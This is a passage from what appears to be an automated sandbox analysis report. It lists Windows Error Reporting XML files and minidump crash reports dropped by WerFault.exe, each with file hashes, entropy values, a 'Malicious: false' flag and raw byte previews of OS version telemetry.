.F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2011.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.489737211874872
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjR7Ym8M4JAtFHfD+q8vdEvmZltId:uIjfdI7j8Zi7VUeJEfDKyvmZltId
MD5:	B3681817A647EE07E9525478E72A80C8
SHA1:	4CFFAA7A40641E20922DD439F0B9E41072ED3F49
SHA-256:	5A954262E7D89F3A2A6EBE0619310A04464D277CB8E59C1E8D34C0B97552C80E
SHA-512:	FB371A15616D4F146C283A712982C97B91B51DEC376E9C4A999B3BB531CEBABF9416CDDD5902D86E70AE5049C4E5444B7A3FBB8073D94CE6BD4625F74703A8DA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER25FB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:43 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	48558
Entropy (8bit):	2.7737437613623785
Encrypted:	false
SSDEEP:	384:h7E0VmXEJElHp9rorGCiwgSBDwKRsjZvfSGl:h7JMUOlHp9KSRV
MD5:	A433512DD989546C686F9D808CD13767
SHA1:	72027170CD3385360D62B7B7FE96D6FCE04DB922
SHA-256:	301128DFF42FF700D0A2275DE2102406F11155814CC669C3C095843A424BC5C7
SHA-512:	FAA52290A61D3A18FD4039E0BE76118B17251CBB6C79D954F20343427212618CF4F6D47650E5C37A82C4CBAFEA959275926DE6D307D79D83CEF82A136C83318D
Malicious:	false
Preview:	MDMP..a..... ..........f............4........... ...H.......<...h$..........\|5..........`.......8...........T............:...............$...........&..............................................................................eJ......('......GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2734.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8316
Entropy (8bit):	3.703136535479113
Encrypted:	false
SSDEEP:	192:R6l7wVeJnjV6d96Y2DHSU95VXdgmf1ZNDpD789bOQsfgP6m:R6lXJjV636YqSU95VNgmf1ZN6Ojfy
MD5:	ACE7C95048038A73BD4CC0B32C124942
SHA1:	1DA21EFEBCEA2D75C1F122714002C20510D07A12
SHA-256:	4DA19B07D438B42CB7004331E099FEB3264014F9F7E17214A105C533E29D74C4
SHA-512:	7767C83B66E7189004ED7214E004BD5F935A732B173EB9B7824FD59EE51DF4B3597D06EED465B250B42A31A8A7FB2B0623D813212D898F12FB19975875E15D38
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2755.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.466795764155806
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYj1Ym8M4JAtutFa++q84wuEvmZltId:uIjfdI7j8Zi7VxJwf+GjvmZltId
MD5:	357D5F8E46EBAC84B48E173FC17DA767
SHA1:	FE4138E89DF0129242AC4524ACA1094DDE1CE9CE
SHA-256:	7E18850E126D2F0A21E9E44B8A2D26BA50CDF8BECFF1A402212C60EA842BD9C4
SHA-512:	C4F793515D667801EFB54783FCF7C55477EE7CE0DDB6C86CA9E370572F302105276E441EF46C37AB46CC2E16E7F37376639AFFCE53705E5CC92EF06546799B2B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER288B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Sep 25 08:32:44 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	27340
Entropy (8bit):	2.738059666788078
Encrypted:	false
SSDEEP:	192:h1TT3hr+XfnUJ57OfHT5KRaM1iMwHyVJRW4L1WZULvnLPv:bfhunUGfHT5KRaAbwIzW4AZUHv
MD5:	F089D495F718DEEE5D9634470CCDB478
SHA1:	7CD77263DBDAAE3C6EA411918B8D3ABDB8C42DD8
SHA-256:	5B69AE558CC397F56AE9FE204F3D2771D0B3683E4958794E6D30DC11BEAAE09C
SHA-512:	9187FECD47DA5A5B6B8152D53175260E19F3DF7AAD6607662927A1A77D64C8B04A35F575B6B3A5B000A2D3655BF49D068A221997A4C89EED87B1B0C019898193
Malicious:	false
Preview:	MDMP..a..... ..........f............4...............<...........<...........T.......8...........T...............$X..........8...........$...............................................................................eJ..............GenuineIntel............T.......x......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2938.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8268
Entropy (8bit):	3.6953956326395576
Encrypted:	false
SSDEEP:	192:R6l7wVeJK06c6YH26ltgmf1XpDB89bBlsfBFLm:R6lXJp6c6YW6fgmf18B+fBE
MD5:	67870B0308CE5DA2EAB7ECACA17BC661
SHA1:	1A9FC2F2BB5F1F9A5C2F269D87366C520DFCCB17
SHA-256:	26A909DBB3B7063EE45FBA96BC40DDA6DC35134B92E14009667E91C6EB0BC6A7
SHA-512:	A1B4A9BF7083EA9F32A577122C43099D685AFA23C5B22FCDC107172BE0A12462FB7D1141175D506BE2FBE7B7BC201BD52504A9C23585CF643F8A577809112AE3
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.0.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2968.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4551
Entropy (8bit):	4.436852234504776
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjzYm8M4JgWutF0mo+q8iwugCvBlUHd:uIjfdI7j8Zi7VHJXLmo07CvBlUHd
MD5:	7E295E8DFC635007DEAA5F7413665841
SHA1:	697E77A206E6F7210234A1718FE8BE63C479FC91
SHA-256:	8845FD563384554625D28F9093982F0F0BACBD3F3F526D93FE8AD3177F55535F
SHA-512:	C5A91B20EDD9EB46F7E0CEF9CD413CAD7B0967109F855422FF7E8E82FBAD9E3CB2A431A0E06528801FB93B93009D004F8D2404DBD056B826A5353C4934F1C81B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER33.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:33 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	54840
Entropy (8bit):	2.2800221848179505
Encrypted:	false
SSDEEP:	192:FSL7NDXmkVuCCmMOHPP1V3BGU6vQsuxLGvJGoJ38gblrgtyVXNYrq/DJH5FNB:AwkVuQDHF8QSJGoJ3trgSdYkDJfN
MD5:	E2BBF77007E49AF63B4B487C845FF9FD
SHA1:	90E733A628D63920F1699B8023BFB3FB763EFE00
SHA-256:	A43E6D8BB551E3B0ADD7CA7650D87805C1AE0676AAC0A6C9769783FCF579804B
SHA-512:	72461852A27F294D8EBE58557E8E7FA661F358BDD64DD907910782979350C0580AC9C37B974F15336604DD43D8C5A54D782695298A35B19184AAE54E53467488
Malicious:	false
Preview:	MDMP..a..... ..........f....................................<................+..........`.......8...........T...............@.......................................................................................................eJ......`.......GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER42B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:35 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	66880
Entropy (8bit):	2.3280137866101396
Encrypted:	false
SSDEEP:	192:b2u+u8GX2sEEVI1OHPhQwx+CErEG4ou+5oNLGvQ8CJ38gblrgtyVXaHApY2JWaSi:LUsEE3HppUu+5BQ8CJ3trgSKHoJAbU7
MD5:	159943F4A4354FF4F9E6A566440DB406
SHA1:	C1984D3032C292390FCC4E7493226D613A749074
SHA-256:	048C839207E0EDA1183F0C17D045D75329C47D1FDA6D7A6D3DD436FBA8F1E5E8
SHA-512:	07D6F7B1F08AD9D0E3D4EC32C8A7BB11DBFB9B6C68B9C575EBD29CA7A82DE87125AE01C36FDB5FB9E54D0A3499003EB3602670354165F5490ACB80FDA50765A0
Malicious:	false
Preview:	MDMP..a..... ..........f....................................<............... 0..........`.......8...........T...............h...........P...........<...............................................................................eJ..............GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER67D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8408
Entropy (8bit):	3.70255981821725
Encrypted:	false
SSDEEP:	192:R6l7wVeJno6K6Y2DzSUc3Vl/ggmfGUpBO89b/QsfCVm:R6lXJo6K6YeSUKVKgmfGk/jfJ
MD5:	B2541FEB24C04D82303B2AD673479421
SHA1:	9F2364C3FB67E19C5DD4923BAE5E5287E4A68E39
SHA-256:	8CAC7C7E14AAAEB59FB8DB13C4846BFA203D7FC665C740CF60236E4CDEEF7863
SHA-512:	4A6633AE5A5F63F105A84E4BC00F8FB1AA6FA184825654F8344B87DEAAAE13594AEACEA8C93C160176603E48AEA74BB85D9225F0E7A789526CEE61F3C62A4A9E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER69E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.488810256374811
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjHYm8M4JAtFWb+q8vdEvmZltId:uIjfdI7j8Zi7VTJPKyvmZltId
MD5:	0AFAA89002608C1CB1A761AF5CB4416F
SHA1:	A639C8C0C0BB1DD53BD02E26E155F663A5A6B651
SHA-256:	7B96000B4AA78A8309417064AC642AC4E9A5EB499B142E654FAC50906CB9ADE3
SHA-512:	B4778E4583763F58B3EC7AFEC99A2E7186CF8276FFBAF3D7C98A0C2003EFE1AF3604E3F9C498BBAD37D4873786C1A38510343DDEEF0A7054B092A96E4C1CC261
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A38.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Sep 25 08:33:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	49248
Entropy (8bit):	2.1815790332797453
Encrypted:	false
SSDEEP:	192:xprRdGXj0SJOOj8jX2rY/q2cGAZz8G7deuwOe+4+T0BDeJJhP/+r87:3VQ0SPjknAp8sdAOHT6DC++
MD5:	B38E3378ACCD5C472482B65179F6286C
SHA1:	E94AD367C09898C9DF6F068EF9B06FE000C2ACA4
SHA-256:	BF5C1A41FA0A184C07877C0D1E2E779BE236E5C565B91CB6C31A832E3552E1EF
SHA-512:	B0C9C7436DE0FF623A9E30CAE6B837F8BCE19C69045183B4F3BFA8A881BC6C54A2EF394436C9079756798D8DD847AE9283284E5F91C6762A7EB78039B7F7606E
Malicious:	false
Preview:	MDMP..a..... ..........f....................................T...4&..........T.......8...........T...........(...8.......................................................................................................eJ......L.......GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6AA6.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6366
Entropy (8bit):	3.7233857888597877
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbzlV63EyYznpFX+ay5aMOUP89bwusfItOwm:R6l7wVeJxV60yYNUpBP89bwusfoOwm
MD5:	6ECD0C0FEFCCB50DBA2510C74A8AADF1
SHA1:	288B42D744CFB901C0AA20C4CF2535EEEFFF4D46
SHA-256:	AF9C24F69BBDF6CDDD2357B0E7BF4A74445746DF986872F3063B27375B63C248
SHA-512:	8C25E202F843EF749C6C8EE9A8AEE1A78C00115B14760942DDABDBCB392D2731ABB7C46C397C79A4EB9AE86F5F59A8DFBFDBBF7C84B55DE2F005FE8B3BBAA51E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6AD6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4700
Entropy (8bit):	4.467009781468776
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjpzYm8M4JgtFz+q8vKOCvBlU1d:uIjfdI7j8Zi7VcmJeKFCvBlU1d
MD5:	873253C49CC4BB87654F31ADE7C619F5
SHA1:	F19C14A51739FCF4F783FEDD0160EA0F8F50CB93
SHA-256:	F92BDC7B2FDB38A404E35500048CA35573297488B80730FD29CE09944C351B68
SHA-512:	C4EC39CD76516B57ED0C164236437B4B1440E9FE642473966A6D0F9FC4F65D57CD2B60471ACC2CDA69C103FFD2A0F28D30B6327A084332E097F2FFC859813325
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER72B3.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Sep 25 08:33:02 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	74196
Entropy (8bit):	2.297344520322796
Encrypted:	false
SSDEEP:	384:lYdEWaSgjQF6v8exMOYPu/qcGTJXx688GMhJMN+A5:KdDHgjLUeuOY2ScGTJS45
MD5:	015F5F902420B6DB5DA256C0408CC2A9
SHA1:	694D97141052C13EDA4E75F7E4A8924DE322F890
SHA-256:	43870DE7CA956921DF6960817B05483BFEFE6FD3AE81256EA79A9B441397FEFD
SHA-512:	20B8B6810588BA97E10BD41A57CC5E183C8C575B569445ADF94784535F1BE2B29D9FA6A09145636FD0BA9D6CF5C5A8C48A3A8518013D21BFA9F3F3D6C02A1F2A
Malicious:	false
Preview:	MDMP..a..... ..........f............$...........\...,............0..........T.......8...........T........... ...........................t...............................................................................eJ..............GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7351.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6386
Entropy (8bit):	3.721425266053012
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbzlC6DUYznpFX+ay5aMOUj89brusfxzIvZm:R6l7wVeJxC6YYNUpBj89brusfxaZm
MD5:	09C0A35CC45B6EB87DDC91EE5E2D5860
SHA1:	97570007939E9FF3628003A2B4141C4E4E56CF7B
SHA-256:	A611537067335683F00E594B4B95FE6C2889A9ECD72717DC07C8CB13E8E2F9D8
SHA-512:	4C5A4630158BB07CC0A24D35D8E9F47D066C1B40C6D85101C543E273A408BCDF67D9A7A9326594E9D390DB33E2BC03CF1874B425311592C660AED1EC835DCD20
Malicious:	false
